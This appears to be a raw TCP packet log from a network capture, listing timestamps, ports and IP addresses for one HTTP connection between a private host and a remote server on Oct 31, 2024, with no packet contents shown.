Oct 31, 2024 05:06:37.004539967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.004547119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.004580021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.004589081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.004595995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.004601002 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.004618883 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.004838943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.004877090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.004884958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.004972935 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.005038977 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.125339031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125619888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125639915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125658035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125670910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125679016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125686884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125684023 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.125693083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125700951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125710011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125725031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125734091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125741959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125747919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125755072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125755072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.125781059 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.125788927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125796080 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.125808001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125824928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125829935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125844955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125852108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125855923 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.125864983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125873089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125879049 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.125880957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125895977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125904083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125905037 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.125905991 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.125910997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125919104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125926971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125935078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125941992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125947952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.125951052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125967026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125974894 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.125983953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125993013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.125999928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126005888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126008987 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.126013994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126041889 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.126060009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126085997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126101017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126111984 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.126142979 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.126184940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126193047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126208067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126218081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126235962 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.126264095 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.126329899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126338005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126352072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126358986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126374960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126384020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126384020 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.126391888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126400948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126400948 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.126415968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126420021 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.126425028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126440048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126446962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126450062 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.126462936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126471996 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.126480103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126481056 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.126491070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126497030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126504898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126512051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126523972 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.126527071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126533031 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.126537085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126545906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126557112 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.126599073 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.126665115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126672983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126688004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126696110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126703978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126718044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126718044 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.126724958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126749992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.126768112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126811028 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.126832962 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.126841068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126847982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126898050 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.126919031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126925945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126940966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126957893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126966953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126969099 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.126974106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126981974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.126998901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127002954 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.127029896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127031088 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.127038956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127048016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127058029 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.127082109 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.127136946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127145052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127160072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127166033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127175093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127192020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127194881 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.127209902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127224922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127232075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127238035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127238989 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.127247095 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.127259016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127265930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127266884 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.127274990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127283096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127296925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127300978 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.127322912 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.127327919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127336979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127341986 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.127346992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127355099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127363920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127368927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127373934 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.127393961 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.127405882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127413988 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.127438068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127445936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127499104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127506018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127507925 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.127513885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127538919 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.127557993 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.127751112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127840042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127847910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127863884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127871037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127886057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127895117 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.127902031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127908945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127918005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127923012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127938986 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.127944946 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.127954960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127958059 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.127963066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.127979040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128007889 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.128019094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128027916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128045082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128051996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128077030 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.128179073 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.128184080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128190994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128205061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128211021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128233910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128236055 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.128243923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128249884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128256083 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.128257036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128266096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128289938 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.128304005 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.128312111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128319979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128334999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128351927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128360033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128364086 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.128367901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128376961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128398895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.128405094 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.128453016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128460884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128477097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128511906 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.128525972 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.128537893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128546000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128560066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128587008 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.128664970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128671885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128686905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128715992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.128732920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128741980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128758907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128766060 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.128767014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128778934 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.128808022 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.128812075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128819942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128834009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128856897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128864050 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.128880024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128892899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128917933 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.128957987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128966093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128973961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.128974915 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.129015923 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.129030943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.129103899 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.129138947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.129146099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.129159927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.129168987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.129175901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.129199982 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.129247904 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.129251957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.129260063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.129267931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.129327059 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.249120951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249181986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249207973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249233007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249248981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249264002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249279976 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249291897 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.249296904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249313116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249334097 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.249337912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249355078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249360085 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.249372005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249382019 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.249386072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249403000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249411106 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.249427080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249439955 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.249444008 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249463081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249478102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249486923 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.249495029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249509096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249522924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249536991 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.249547005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249562979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249566078 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.249581099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249587059 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.249597073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249622107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249622107 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.249639034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249655008 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249669075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249675989 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.249694109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249705076 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.249710083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249725103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249735117 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.249759912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249775887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249790907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249798059 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.249806881 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249824047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249828100 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.249839067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249849081 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.249856949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249871969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249880075 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.249888897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249902010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249907017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.249927998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249943972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249958992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249969959 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.249975920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.249989033 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.249994040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250011921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250019073 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.250029087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250042915 CET	80	49744	185.215.113.16	192.168.2.4
